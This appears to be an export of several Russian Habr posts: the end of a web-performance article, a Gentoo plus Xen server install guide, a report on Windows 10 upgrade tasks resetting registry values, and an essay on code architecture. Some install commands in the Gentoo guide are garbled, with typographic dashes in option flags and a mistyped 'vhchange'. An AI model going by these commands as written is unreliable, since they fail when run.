Одним из приемлемых решений было бы начать рендеринг страницы, как только основные части, такие как DOM, будут готовы к показу. **Нам не нужно ждать загрузки каждого файла, если это не повлияет на рендеринг**. Нам даже не нужны все HTML-элементы; мы можем добавлять на экран те, которые не сразу видны (например, нижний колонтитул), позже, при помощи JavaScript. Вспомним примеры Amazon и eBay. Давайте посмотрим на процесс рендеринга Amazon в раскадровке, так, как мы видим его загрузку в браузере:
*Amazon достаточно быстро переводит пользователя в активное ожидание.*
Здесь мы видим, что, несмотря на завершение отрисовки внешнего вида в течение как минимум 7 секунд, страница Amazon перемещает пользователя в активное ожидание буквально через 1.1 секунды, путем запуска процесса рендеринга верхней (то есть видимой) части веб-сайта, как только основные ресурсы для этой части загружены.
Рекомендация приоритезации загрузки видимого контента, которую мы видим в [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) и аналогичных инструментах оптимизации, должна выполняться именно с учетом такого раннего завершения. Дайте пользователям что-то как можно скорее; заставьте их думать, что страница загружается быстрее, чем на самом деле, разбив нагрузку на короткое пассивное ожидание в начале, а затем на активное ожидание, когда начальная информация была загружена и отображена. При этом очень полезно учитывать *время начала рендеринга*, сообщаемое инструментами наподобие [WebPageTest](http://www.webpagetest.org/) (там он называется «Start render») — оно дает представление о том, насколько «быстры» страницы сайта в восприятии посетителей.
При использовании метода раннего завершения, как можно скорее заинтересуйте пользователя. Это переключит ожидание в активную фазу.
Управление восприятием, которое использует активные и пассивные фазы, очень эффективно и не обязательно требует дорогостоящих или трудоемких решений. Такой подход отлично работает в большинстве случаев, используя самый мощный инструмент из имеющихся в нашем распоряжении: человеческий мозг.
---
Кстати, на этой неделе проводится конференция [HolyJS 2017 Moscow](https://holyjs-moscow.ru/). HolyJS — наша главная и единственная в России конференция, посвященная исключительно JavaScript. Автор статьи, Денис Мишунов, стоит у её истоков:
* 2016 год, Питер: выступал с [открывающим кейноутом](http://2016.holyjs-piter.ru//talks/mishunov.html);
* 2016 год, Москва: выступал с [закрывающим кейноутом](http://2016.holyjs-moscow.ru/talks/debugger/);
* 2017 год, Питер: член [Программного комитета](https://holyjs-piter.ru/#committee);
* 2017 год, Москва: ведет [воркшоп «Производительность фронтенда»](https://holyjs-moscow.ru/trainings/3julznvoeeas46kuswmeyu/) на следующий день после [HolyJS 2017 Moscow](https://holyjs-moscow.ru/).
У вас еще есть возможность успеть на HolyJS 2017 Moscow, для этого нужно приобрести билеты на [официальном сайте конференции](https://holyjs-moscow.ru/tickets/). | https://habr.com/ru/post/343922/ | null | ru | null |
# Ставим Gentoo x64 + xen на диски размером 3Tb в Hetzner
Для чего это нужно: Допустим вам нужно организовать пару тройку независимых удаленных рабочих столов. Не арендовать же под каждый rdp, отдельный сервер, можно арендовать один и сделать их там хоть 16 штук.
Арендовав пару серверов класса EX4 на hetzner.de я встал перед проблемой, в сервере установлено два диска по 3Tb и все. Есть известная проблема, что диски с таблицей разделов MBR могут адресовать только 2,2Тб. Было два варианта, либо настраивать MBR и отказываться от 800гигов дискового пространства, либо сделать таблицу GPT и попытаться загрузиться из неё, что весьма не тривиально, но по факту просто.
Плюс небольшой HOWTO как поставить Xen.
Step-by-step
После аренды сервера, вам присылается ип, логин и пароль на новый сервер, зайдя по ssh попадаем в rescue систему, на основе какого то Debian, но нам это не помеха.
Два диска sda и sdb было решено объединить в raid1 массив, и поверх него сделать LVM, чтобы не рисковать, было решено boot вынести в отдельный раздел, так же понадобиться дополнительный раздел для efi.
Разбивать будем программой
```
gdisk /dev/sda
```
Создаем первый раздел это будет boot
```
Command:n
Partition Number: 1 ↵
First sector: ↵
Last sector: +100M ↵
Hex Code: ↵
```
Создаем второй раздел это будет efi
```
Command: n ↵
Partition Number: 2 ↵
First sector: ↵
Last sector: +32M ↵
Hex Code: EF02 ↵
```
Хочу отметить, что очень важно ему указать тип раздела.
Создаем третий раздел под LVM
```
Command: n ↵
Partition Number: 3 ↵
First sector: ↵
Last sector: ↵
Hex Code: ↵
```
Записываем данные на диск командой w и выходим.
Проделываем тоже самое для диска sdb.
Создаем райд массивы.
Массив для boot:
```
mdadm –C /dev/md0 –-level=1 -–raid-devices=2 -–metadata=0.9 /dev/sd[ab]1
```
Массив для LVM:
```
mdadm –C /dev/md1 –-level=1 –-raid-devices=2 /dev/sd[ab]3
```
Убеждаемся, что они успешно начали синхронизироваться:
```
cat /proc/mdstat
```
Создаем LVM группу:
```
pvcreate /dev/md1
vgcreate ld1 /dev/md1
vhchange –a y
```
Создаем lvm разделы:
```
lvcreate –L2G –n swap ld1
lvcreate –L8G –n root ld1
```
Форматируем разделы:
```
mkswap /dev/ld1/swap
mkreiserfs /dev/md0
mkreiserfs /dev/ld1/root
```
Создадим папку и подмантируем туда новый root:
```
mkdir /mnt/gentoo
mount /dev/ld1/root /mnt/gentoo
```
Дальше по мануалу с Gentoo.org ставим Gentoo из stage3, я не буду заострять внимание, только перечислю список команд.
```
cd /mnt/gentoo
wget http://de-mirror.org/gentoo/releases/amd64/current-stage3/stage3-amd64-20111006.tar.bz2
tar –xvjpf stage3-amd64-20111006.tar.bz2
mount /dev/md0 boot
mount –o bind /dev/ dev
mount –t proc proc proc
cp /etc/resolv.conf etc/
scp сервак с make.conf etc/make.conf
```
Он у меня выглядит так:
```
CFLAGS="-O2 -pipe"
CXXFLAGS="${CFLAGS}"
CHOST="x86_64-pc-linux-gnu"
MAKEOPTS="-j9"
LINGUAS="ru"
ACCEPT_KEYWORDS="~amd64"
USE="-ipv6 mmx sse sse2 hvm qemu pygrub xen static-libs agent efiemu"
```
Продолжаем:
```
chroot /mnt/gentoo
env-update && source /etc/profile
emerge -–sync
echo “=sys-fs/lvm2-2.02.88” >> /etc/portage/package.mask
emerge gentoo-sources screen vim vixie-cron metalog reiserfsprogs mdadm lvm2 gentoolkit genkernel dhcp
mdadm -–detail -–scan >> /etc/mdadm.conf
ln –s /etc/init.d/net.lo /etc/init.d/net.eth0
```
Настраиваем и собираем ядро с поддержкой raid и lvm, я собираю через genkernel.
Правим fstab:
```
/dev/md0 /boot reiserfs noatime 1 2
/dev/ld1/root / reiserfs noatime 0 1
/dev/ld1/swap none swap sw 0 0
```
Задаем пароль рута через passwd.
Ставим в атозагрузку службы:
```
rc-update add net.eth0 default
rc-update add sshd default
rc-update add metalog default
rc-update add vixie-cron default
```
Теперь самое интересное настроить grub а вернее его версию 2.
```
echo "sys-boot/grub:2" >> /etc/portage/package.accept_keywords
echo "sys-boot/grub:2" >> /etc/portage/package.unmask
emerge -av sys-boot/grub:2
```
Надо груб прописать на диски:
```
grub2-install /dev/sda
grub2-install /dev/sdb
```
И настроить его, я сделал так:
```
grub2-mkconfig -o test.cfg
```
На выходе он мне создал test.cfg.
Я поменял строчку
```
linux /kernel-genkernel-x86_64-3.0.6-gentoo root=/dev/mapper/ld1-root ro
```
на
```
linux /kernel-genkernel-x86_64-3.0.6-gentoo root=/dev/ram0 real_root=/dev/ld1/root dolvm domdadm init=/linuxrc
```
и скопировал этот файлик в бут:
```
cp test.cfg /boot/grub2/grub.cfg
```
Все можно перегружаться.
Установка и настройка самого xen
```
emerge xen xen-tools –av
```
Настроим сеть:
```
cat /etc/conf.d/net
bridge_br0="eth0"
rc_need_br0="net.eth0"
config_eth0=("null")
config_br0=(
"x.x.x.x/27"
"192.168.194.1/24" для общения с виртуалками
)
routes_br0=("default gw y.y.y.y")
```
Добавим бридж в автозагрузку:
```
ln –s /etc/init.d/net.lo /etc/init.d/net.br0
rc-update add net.br0 default
```
Закоментируем в файле /etc/xen/xend-config.sxp строчку
```
(network-script network-bridge)
```
Добавим в автозагрузку Xen:
```
rc-update add xenstored default
```
Добавим в fstab строчку:
```
none /proc/xen xenfs defaults 0 0
```
Переконфигурируем ядро, включив поддержку паравиртуализации:
```
Processor type and features --->
[*] Paravirtualized guest support --->
[*] Xen guest support
-*- Enable paravirtualization code
[*] Paravirtualization layer for spinlocks
```
Плюс сходим в Device Drivers --->
И включи все backend-ы:
```
<*> Block-device backend driver
<*> Xen backend network device
```
Плюс в Xen driver support --->
Включим все галочками, т.е. вкомпилим в ядро.
Пересоберем ядро через genkernel и поправим grub.cfg
```
multiboot /xen.gz
module /kernel-genkernel-x86_64-3.0.6-gentoo root=/dev/ram0 real_root=/dev/ld1/root dolvm domdadm init=/linuxrc
module /initramfs-genkernel-x86_64-3.0.6-gentoo
```
Перегружаемся и можем создавать виртуальные машины.
Пример конфгурации:
```
cat /etc/xen/dp-rdp
kernel = "/usr/lib/xen/boot/hvmloader"
builder='hvm'
vcpus=2
memory = 3400
shadow_memory = 8
name = "dp-rdp"
vif = [ 'type=ioemu, bridge=br0, mac=00:16:3e:03:00:c5' ]
disk = [ 'phy:/dev/ld1/dprdp,hda,w' , 'phy:/dev/ld1/dprdp_back,xvdb,w' , 'file:/root/Windows.x64.6in1.DVD-XiSO.iso,hdc:cdrom,r' ]
device_model = '/usr/lib64/xen/bin/qemu-dm'
boot="c"
acpic=0
sdl=0
vnc=1
vncdisplay=1
vnclisten="0.0.0.0"
vncpasswd='а не скажу'
stdvga=0
usb=0
```
Запускается виртуалка командой:
```
xl create /etc/xen/dp-rdp
```
P.S. Если будут проблемы с настройкой ядра, пишите в коменты, я выложу готовый .config куда нибудь. | https://habr.com/ru/post/131196/ | null | ru | null |
# Новый виток насаждения Windows 10: фоновый процесс следит за изменениями реестра
[](https://habrastorage.org/files/494/59d/216/49459d21659840d3892fd76b10c9e3e4.jpg)29 июля 2015 года компания Microsoft выпустила операционную систему Windows 10. Бесплатность обновления до новой операционки обеспечила неплохой рост пользователей. В компьютерах пользователей Windows 7 и 8/8.1 начала разливаться «десятка». Через 24 часа после выхода она была установлена на 14 миллионов компьютеров, а через четыре недели число пробило 75 миллионов. Чтобы достичь девяти цифр (сто миллионов), операционке потребовалось всего 10 недель. Последние числа из блога Microsoft [говорят](https://blogs.windows.com/windowsexperience/2016/01/04/windows-10-now-active-on-over-200-million-devices/), что Windows 10 управляет работой 200 миллионов устройств.
Цифры впечатляют, но они далеки от поставленной цели. В Редмонде за 2—3 года хотят добиться работы на миллиарде устройств. Это число не так фантастично, если учесть, что в него входят персональные компьютеры и ноутбуки, игровые консоли Xbox, смартфоны и планшеты. Но рост всё равно замедляется. Наверное, поэтому пользователи «семёрки» и «восьмёрки» уже начали ощущать куда большую настойчивость компании Microsoft.
В октябре прошлого года обновление до Windows 10 [попало](http://arstechnica.com/information-technology/2015/10/windows-10-upgrade-installing-automatically-on-some-windows-7-8-systems/) в список рекомендуемых. У многих пользователей рекомендуемые обновления скачиваются и устанавливаются автоматически. Как заявила Microsoft, тогда это произошло по ошибке. Уже в ноябре [стало известно](http://geektimes.ru/post/265456/) о планах вернуть это обновление в список рекомендуемых, но на этот раз уже официально.
За бесплатный апгрейд до Windows 10 отвечает обновление [KB3035583](https://support.microsoft.com/en-us/kb/3080351). Оно в том числе устанавливает программу GWX (Get Windows 10). Последняя проверяет компьютер на совместимость с Windows 10. Если компьютер может запускать «десятку», то программа предлагает её установить. Настойчивость этого предложения постепенно переходит границы: в прошлом месяце кнопка «отказаться» [исчезла](http://geektimes.ru/post/267842/), теперь можно лишь закрыть окно.
Не все хотят обновляться до «десятки», а напоминания продолжают приходить. В октябре Microsoft [пообещала](https://blogs.windows.com/windowsexperience/2015/10/29/making-it-easier-to-upgrade-to-windows-10/), что от предложений обновиться можно будет полностью отказаться, хотя такой возможности пока не появилось. Некоторые пользователи полностью избавились от занудливых предложений редактированием значений `AllowOSUpgrade`, `DisableOSUpgrade`, `DisableGWX` и `ReservationsAllowed` в реестре. Вернее было бы сказать, что подобное решение предлагается самой Microsoft: представитель компании [посоветовал](https://answers.microsoft.com/en-us/windows/forum/windows_10-win_upgrade/i-dont-want-windows-10-ive-even-deliberately-not/c3ca51ea-b4f4-480b-a6c9-92fac903eecb?page=2&auth=1) редактировать реестр на официальном форуме.
Для более простого укрощения GWX и обновления KB3035583 была написана утилита [GWX Control Panel](http://ultimateoutsider.com/downloads/) (в прошлом GWX Stopper). Она устанавливает нужные значения в реестре, удаляет иконки из области уведомлений и файлы, которые сложно удалить вручную, освобождает гигабайты, занятые файлами обновления.
Вуди Леонхард [замечает](http://www.infoworld.com/article/3020460/microsoft-windows/banishing-get-windows-10-nagware-isnt-as-easy-as-you-think.html), что новая версия обновления KB3035583 вводит фоновые процессы, которые дважды в сутки проверяют некоторые значения реестра. Затем она устанавливает их в изначальное состояние, если они были изменены. Разработчик программы GWX Control Panel Джош Мэйфилд [объяснил](http://blog.ultimateoutsider.com/2016/01/understanding-windows-10-upgrade-system.html), как это происходит.
Существует несколько версий KB3035583. Все они обновляются до самой новой по мере доступности. Кроме заметной пользователю иконки в области уведомлений обновление содержит несколько фоновых процессов, которые выполняют некие задачи по расписанию.
* `DisableGWX` (DWORD) в `HKEY_LOCAL_MACHINE \SOFTWARE\Policies\Microsoft\Windows\Gwx` — это значение, которое GWX.EXE проверяет при запуске. Если оно установлено на 1, то GWX.EXE завершается. В области уведомлений не появляется иконка с предложением обновиться. Пользователю может показаться, что проблема решена. Но несколько других фоновых задач и от само обновление KB3035583 всё ещё «висят» в системе.
* Роль `AllowOSUpgrade` документирована слабо. Похоже, что оно предотвращает выполнение апгрейда до Windows 10, который был инициирован через Windows Update. Можно подумать, что установка значения на 0 позволит забыть о обновлении. Но на некоторых компьютерах несколько фоновых процессов, связанных с обновлением KB3035583, меняют значение `AllowOSUpgrade` на 1. К примеру, это задача refreshgwxconfig-B, которая запускается дважды в сутки. В видеоролике выше на отметке 2:30 продемонстрирован пример работы такой задачи. Подобное поведение появилось примерно месяц назад и только на некоторых компьютерах.
* Напротив, `ReservationsAllowed` не включается, а отключается (устанавливается значение 0) этими фоновыми процессами. Об этом значении тоже известно мало. Мэйфилд говорит, что доступное в [официальной документации](https://support.microsoft.com/en-us/kb/3080351) оказалось неверным. По мнению разработчика, это значение регулирует переход от системы резервации обновления, когда их не хватало на всех при старте, к общедоступности, когда качать и устанавливать можно без очереди.
* `DisableOSUpgrade` (DWORD) в `HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate` не существует по умолчанию, и его нужно создавать самостоятельно. Нужное значение — 1. Мэйфилд не замечал, чтобы фоновые процессы меняли его. Как ручное задание значения, так и редактирование политики обновления отражены на [страницах официальной поддержки](https://support.microsoft.com/ru-ru/kb/3080351).
Значения могут меняться новыми версиями обновления KB3035583. Удаление обновления не всегда работает, поскольку оно может возвращаться, даже если его скрыть. [GWX Control Panel](http://ultimateoutsider.com/downloads/) упрощает редактирование этих значений реестра, а также выполняет несколько других задач, связанных с нежелательным апгрейдом до Windows 10.
Как заявляет Мэйфилд, упорство рекомендаций перехода не ограничивается только значениями в реестре. Со ссылкой на отзывы от неназываемых ИТ-консультантов и специалистов техподдержки разработчик GWX Control Panel намекнул на больший масштаб происходящего. | https://habr.com/ru/post/388999/ | null | ru | null |
# Архитектура кода
В этой статье я хочу поделиться своим личным опытом, связанным с правильной организацией кода (архитектурой). Правильная архитектура существенно упрощает долгосрочную поддержку.
Это очень философская тема, поэтому я не могу предложить ничего более, чем мой субъективный анализ и опыт.
Проблемы, симптомы
------------------
Мой начальный опыт программиста был весьма безоблачным – я без лишних проблем клепал вебсайты-визитки. Писал код, как я это сейчас называю “в строчку” или “полотном”. На маленьких объемах и простых задачах все было хорошо.
Но я сменил работу, и пришлось разрабатывать один единственный вебсайт в течение 4-х лет. Естественно, сложность этого кода была несопоставима с визитками из моей прошлой работы. В какой-то момент проблемы просто посыпались на меня – количество регрессии зашкаливало. Было ощущение, что я просто хожу по кругу – пока чинил “здесь”, сломал что-то “там”. И поэтом это “здесь” и “там” банально менялось местами и круг повторялся.
У меня исчезла уверенность в том, что я контролирую ситуацию – при всем моем желании недопустить баги, они проскакивали. Все эти 4 года проект активно разрабатывался – мы улучшали уже существующий функционал, расширяли, достраивали его. Я видел и чувствовал, как удельная стоимость каждого нового рефакторинга/доработки растет – увеличивался общий объем кода, и соответственно увеличивались затраты на любую его правку. Банально, я вышел на порог, через который уже не мог переступить, продолжая писать код “в строчку”, без использования архитектуры. Но в тот момент, я этого еще не понимал.
Другим важным симптомом оказались книги и видео-уроки, которые я в то время читал/смотрел. Код с этих источников выглядел “глянцево” красивым, естественным и интуитивно понятным. Видя такую разницу между учебниками и реальной жизнью, моей первой реакцией была мысль, что это нормально – в жизни всегда сложнее, чем в теории, больше рутины и конкретики.
Тем не менее, продукт на работе нужно было расширять, улучшать, в общем, двигаться дальше. В тот же самый момент я начал активно участвовать в одном open source проекте. И в совокупности эти факторы вытолкнули меня на путь архитектурного мышления.
Что такое архитектура?
----------------------
Один мой преподаватель в университете употребил фразу “нужно проектировать так, чтобы *максимизировать* количество объектов и *минимизировать* количество связей между ними”. Чем дольше я живу, тем больше с ним соглашаюсь. Если присмотреться к этой цитате, то видно, что эти 2 условия в какой-то мере взаимоисключающие – чем больше мы дробим какую-то систему на подсистемы, тем больше связей придется вводить между ними, чтобы “соединить” каждую из подсистем с остальными актерами. Найти оптимальный баланс между первым и вторым – это своего рода искусство, которым, как и прочими искусствами, можно овладеть через практику.
Сложная система дробится на подсистемы за счет интерфейсов. Для того, чтобы выделить из сложной системы какую-то подсистему, нужно определить **интерфейс**, который будет декларировать границы между первым и вторым. Представьте, у нас была сложная система, и вроде бы внутри нее осязаются некоторые подсистемы, но они “размазаны” по разным местам основной системы и четкий формат (интерфейс) взаимодействия между ними отсутствует:
Посчитаем, де факто, у нас 1 система и 0 связей. С минимизацией связей все отлично :) Но вот количество систем очень маленькое.
А теперь, кто-то проделал анализ кода, и четко выделил 2 подсистемы, определил интерфейсы, по которым ведется коммуникация. Это значит, что границы подсистем определены и схема стала следующей:
Здесь у нас: 3 системы и 2 связи между ними. Обратите внимание, что количество функционала осталось тем же самым – архитектура ни увеличивает, ни уменьшает функционал, это просто способ организовать код.
Какое различие можно разглядеть между этими двумя альтернативами? При рефакторинге в первом случае нам нужно “прочесать” 100% кода (весь зеленый квадрат), чтобы убедиться, что мы не внесли никакой регрессии. При том же самом рефакторинге во втором случае, нам сначала нужно определить, к какой системе он относится. И потом весь наш рефакторинг сведется к прочесыванию лишь одной из 3х систем. Задача упростилась во втором случае! За счет успешного дробления архитектурой, нам достаточно сконцентрироваться лишь на части кода, а не на всех 100% кода.
На этом примере видно, почему дробить на максимальное количество объектов выгодно. Но существует еще и вторая часть цитаты – минимизация связей между ними. А что, если новая доработка, которая пришла к нам от начальства затрагивает сам интерфейс (красненький мост между 2мя системами)? Тогда дела плохи – изменения в интерфейсе подразумевают изменения по оба конца этого моста. И как раз чем меньше у нас связей между системами, тем меньше вероятность того, что наш рефакторинг вообще затронет какой-либо интерфейс. А чем проще каждый из интерфейсов, тем проще будет внести необходимые изменения по обе стороны интерфейса.
Интерфейс в самом широком смысле
--------------------------------
Ключом к правильному применению архитектуры я считаю именно интерфейс, ведь он определяет формат взаимодействия и, соответственно, границы каждой из систем. Другими словами, от выбраных интерфейсов зависит и количество подсистем и их связанность (количество связей). Рассмотрим его поближе.
Прежде всего, он должен быть **честным**. Не должно быть коммуникаций между системами за пределами интерфейса. Иначе мы скатимся к исходному варианту – диффузия (да, она в программировании тоже есть!) объединит 2 системы обратно в одну общую систему.
Интерфейс должен быть **полным**. Актер по одну из сторон интерфейса не должен иметь никакого понятия о внутреннем устройстве актера по другую сторону моста – не больше чем то, что подразумевает интерфейс, по которому они взаимодействуют, т.е. интерфейс должен полным (достаточным для наших нужд) образом описывать партнера по “ту сторону моста”. Делая интерфейс полным изначально, мы значительно уменьшаем шансы того, что в будущем придется править интерфейс – вспомните, внесение изменений в интерфейс – это самая дорогая операция, т.к. она подразумевает изменения в более, чем одной подсистеме.
Интерфейс не обязательно должен быть задекларированным как интерфейс из ООП. Я считаю, что достаточно честности, полноты интерфейса и вашего ясного понимания этого интерфейса. Более того, интерфейс такой, как я его подразумеваю в рамках этой статьи – это нечто шире чем интерфейс из ООП. Важна не форма, а суть.
Здесь будет уместным упомянуть архитектуру микросервисов. Границы между каждым из сервисов – это ни что иное, как интерфейс, о котором я повествую в этой статье.
В качестве примера я хочу привести счетчик использования файла в inode на \*nix (file reference count): есть интерфейс – если ты используешь файл, то увеличь его счетчик на 1. Когда закончил им пользоваться, уменьши его счетчик на 1. Когда счетчик равняется нулю, значит этим файлом уже никто не пользуется, и его нужно удалить. Такой интерфейс неописуемо гибкий, т.к. он не накладывает абсолютно никаких ограничений на внутреннее устройство актера, который им может пользоваться. В этот интерфейс органично вписывается как использование файлов в рамках файловой системы, так и файл декскриптор из исполняемых программ.
Решайте задачу на абстрактном, а не конкретном уровне
-----------------------------------------------------
Очевидно, что умение выбрать правильный интерфейс – очень важный навык. Мой опыт мне подсказывает, что очень часто удачный интерфейс приходит в голову, когда ты пытаешься решить задачу на абстрактном (общем) уровне, а не текущем (конкретном) ее проявлении. Альберт Эйнштейн однажды сказал, что правильная постановка задачи важнее, чем ее решение. В этом свете я с ним полностью согласен.
Какое решение задачи “открыть входную дверь” вам кажется более правильным?
1. Подойти к двери;
2. Достать из кармана связку ключей;
3. Выбрать нужный ключ;
4. Открыть им дверь.
Или:
1. Подойти к двери;
2. Вызвать подсистему “хранилище ключей” и получить из нее доступную связку ключей;
3. Вызвать подсистему “поиск правильного ключа” и запросить у нее наиболее подходящий ключ к текущей двери из связки доступных ключей;
4. Открыть дверь ключем, предложенным подсистемой поиска правильного ключа.
Абстрактность второго алгоритма в разы выше, чем первого, и как следствие, его полнота тоже выше. Банально у второго алгоритма куда больше шансов остаться актуальным даже 50 лет спустя, когда понятие “ключей” и “дверей” будет отличаться от сегодняшнего :)
Смотря на проблему с абстрактной точки зрения, нам в голову естественным образом приходят **полные** интерфейсы. Ведь решая частное проявление проблемы, максимум, что мы можем придумать в плане интерфейса – это всего лишь его частная проекция на нашу частную проблему. Смотря на абстрактную проблему у нас больше шансов увидеть **полный** интерфейс, а не его проявление под какую-то конкретику.
В какой-то момент вы начинаете видеть эти абстрактные операции за их конкретными проявлениями (реализациями). Это уже отлично! Но не забывайте, что вам нужно минимизировать количество связей – это значит, что существует риск забраться слишком далеко в дебри абстракции. Абсолютно необязательно включать в вашу архитектуру все абстракции, которые вы видите при анализе. Включайте только те, которые оправдывают свое присутствие за счет дополнительной вносимой гибкости либо за счет дробления чрезмерно сложной системы на подсистемы.
Физика
------
Есть такая наука, и я ее люблю наравне с программированием. В физике многие явления можно рассматривать на разных уровнях абстракции. Столкновение двух объектов можно рассматривать как динамику Ньютона, а можно рассматривать как квантовую механику. Давление воздуха в воздушном шарике можно рассматривать как микро- и макро-термодинамику. Наверное, физики пришли к такой модели не зря.
Дело в том, что использование разных уровней детализации в архитектуре кода тоже очень выгодно. Любую подсистему можно рекурсивно дробить дальше на под-подсистемы. Подсистема станет выступать системой, и мы будем в ней искать подсистемы. Это divide and conquer (разделяй и властвуй) подход. Таким образом программу любой сложности можно объяснить на удобном собеседнику уровне детализации за 5 минут за кружкой пива другу программисту или начальнику нетехнарю на корпоративном собрании.
Как пример, что происходит в нашем ноутбуке, когда мы включаем фильм? Все можно рассматривать на уровне медиапроигрывателя (читаем содержимое фильма, декодируем в видео, показываем на мониторе). Можно рассматривать на уровне операционной системы (читаем с блочного устройства, копируем в нужные страницы памяти, “просыпаем” процесс плеера и запускаем его на одном из ядер), а можно же и на уровне драйвера диска (соптимизировать i/o очередь на устройство, прокрутить до нужного сектора, считать данные). Кстати, в случае SSD диска последний список шагов был бы другим – и в этом вся прелесть, т.к. в операционных системах есть интерфейс блочного устройства хранения данных, мы можем вытыкнуть магнитный диск, втыкнуть флешку и не заметим особой разницы. Более того, интерфейс блочного устройства был придуман задолго до появления CD дисков, флешек и многих других современных носителей информации – что это как не пример успешного абстрактного интерфейса, который прожил и остался актуальным на протяжении ни одного поколения устройств? Конечно, кто-то может возразить, что процесс был обратным – новые устройства вынужденно адаптировались под уже существующий интерфейс. Но если бы интерфейс блочного устройства был откровенно плохим и неудобным, он бы не выстоял на рынке и был бы поглощен какой-то другой альтернативой.
Человеческий мозг не может удерживать в голове много концепций/объектов одновременно, вне зависимости от того, говорим ли мы о физике или о программировании либо еще о чем-либо. Соответственно, старайтесь организовать вертикальную иерархию вашей архитектуры так, чтобы у вас было не больше дюжины актеров на любом уровне абстракции. Сравните два описания одной и той же системы:
> Мы здесь обрабатываем входящие заказы. Сначала идет процесс валидации – проверяем наличие заказанных товаров на складе, проверяем правильность адреса доставки, успешность платежа. Потом запускается процесс уведомления – оператору приходит смс-ка с информацией о новом заказе. Начальник отдела получает имейл со сводной информацией.
Или:
> Мы здесь обрабатываем входящие заказы. Сначала отрабатывает система валидации – проверяем точность и правильность всех данных. Ну в принципе, если тебе интересно, у нас там есть внутренняя валидация (наличие на складе и тп.) и внешняя (правильность информации, указанной в заказе). При успешной отработке валидации запускается система уведомлений – вот по этой ссылке найдешь полную информацию об уведомлениях.
Чувствуете, вертикальную ориентацию второго описания по сравнению с первым? Дополнительно, второе описание ярче выделяет абстракции “валидация” и “уведомление”, чем первое.
Как люди обычно летают на Луну?
-------------------------------
Правильно! Они сначала проектируют ракету (ракету, как единое целое, и отдельно каждую из ее компонент). Затем они строят завод по производству каждой из компонент и завод по финальной сборке ракеты из произведенных компонент. А потом они летят на луну на собранной ракете. Чувствуется какая-то параллель?
На выходе получается огромное количество компонент, которые можно переиспользовать в других смежных целях. А еще есть заводы, которые эти компоненты массово производят. И успех всего предприятия в наибольшей степени зависит от успешной проектировки (когда в проект забыли внести модуль по регенерации кислорода, а ракета уже стоит на стартовой площадке – дела плохи), чуть меньше от качества построенных заводов (заводы еще можно как-то калибровать и тестировать) и меньше всего от конкретного экземпляра ракеты, которая стоит на пусковой установке – если с ней что-то случится, ее будет легко пересоздать на базе уже имеющейся инфраструктуры. Скоро научимся клонировать людей, и тогда даже при неудачных пусках о человеческих потерях не будет речи :)
В программировании все точно так же. На плечи железа выпадает роль заводов – исполнять наш код. Но вот роль проектировки (создания архитектуры) и конкретных имплементаций (постройка заводов) ложится на плечи программиста. Очень редко эти 2 этапа как-то явно выделяются из общего клубка. А мыслить об этих 2-х этапах раздельно очень полезно, более того, в других областях это даже выглядит нелогично. Ведь кто будет сразу строить завод, предварительно не решив, что же этот завод будет производить?
Преимущества архитектуры
------------------------
Я здесь только резюмирую концепции, которые пытался описать выше. При успешном использовании архитектуры, мы имеем:
* Простота изолированого тестирования каждой из систем. Так как каждая система общается с внешним миром через строгий интерфейс, ее очень легко протестировать отдельно
* Упрощение поддержки кода: за счет дробления на подсистемы внесение изменений в существующий код упрощается
* Расширяемость системы увеличивается, т.к. благодаря интерфейсам мы во многих местах можем легко подключить какой-либо новый функционал (либо заменить уже существующий на альтернативную реализацию)
* Повышается переиспользование кода: интерфейсы вводят слабое связывание в код. Значит какую-либо систему будет просто применить в какой-нибудь другой задаче. Здесь снова важную роль играет **полнота** интерфейса. Если интерфейс был действительно **полным**, его будет достаточно и для новой задачи. Вспомним парадигму Юникса “Делайте что-то одно, но делайте это хорошо” — переиспользовать хорошо написаную программу с полным интерфейсом одно удовольствие!
Признаки успешной архитектуры
-----------------------------
Успешность архитектуры невозможно оценить однозначно “да” либо “нет”. Более того, одна и та же архитектура может быть успешной в рамках одного проекта (спецификации) и провальной в рамках другого проекта, даже если оба проекта номинально оперируют в одной и той же предметной области. В момент проектирования от вас требуется максимально глубокое и исчерпывающее понимание процесса, который вы автоматизируете/моделируете кодом.
Тем не менее, некоторые общие черты успешных архитектур я вам осмелюсь предложить:
* Разделение между кодом архитектуры и кодом имплементации. Кто-то решает задачу на абстрактном уровне (это как начальник, который говорит “нужно повысить продажи в следующем квартале”), а кто-то имплементирует конкретные шаги, необходимые для достижения одной из составляющих общего результата (сотрудник PR отдела начинает давать объявления в газету).
* В какой бы точке программы мы не остановились, всегда должно быть абстрактное объяснение того, чем мы тут занимаемся. На уровне начальника это может быть “мы увеличиваем продажи, т.к. прошлый квартал был неприбыльным”, на уровне конкретного сотрудника это может быть “я даю объявления в газету, т.к. это часть моих должностных обязанностей (интерфейса), и мне только что пришел приказ сверху этим заняться”. Такое объяснение должно быть логичным и соответствовать уровню знаний/кругозора анализируемого субъекта/актера.
* Большинство кода выглядит как взаимодействие поставщика и потребителя услуг. Система уведомлений пользователя предоставляет услугу “уведомить пользователя о событии Х” и в свою очередь в рамках реализации этой услуги потребляет услугу “отправить смс сообщение” и “отправить имейл”.
* Все критические компоненты можно легко заменить на альтернативные реализации. Банально отсоединяем старую компоненту и на тот же интерфейс подсоединяем компоненту с альтернативной реализацией. Кстати, ваш начальник-нетехнать будет ужасно рад такой возможности в какой-то критический момент!
* Архитектуры легко объяснить словами (дополнительной документацией), и относительно сложно “понять смысл” смотря в код. Словами проще объяснить смысловую нагрузку интерфейсов, которые составляют архитектуру, т.к. при высоком уровне абстракции интерфейса эта самая смысловая нагрузка не так очевидна из кода. К тому же, некоторые интерфейсы, официально незадекларированные в рамках используемого языка программирования, могут банально прошмыгнуть мимо глаза программиста, когда он просматривает незнакомый код.
* При использовании архитектуры, большая часть функционала становится доступной ближе к концу цикла разработки. На начальных этапах программист пишет код архитектуры и реализует отдельные подсистемы. Лишь в самом конце он их соединяет между собой в правильной последовательности для достижения конечного (бизнес) результата. А когда архитектуры нет либо ее мало, то функционал поставляется более-менее линейно – банально человеку нужно 10 дней, чтобы написать код, и он каждый день пишет 10% от общего полотна кода. Вот графическое объяснение этого пункта — график распределения завершенности задачи от времени разработки:
Советы для построения успешной архитектуры
------------------------------------------
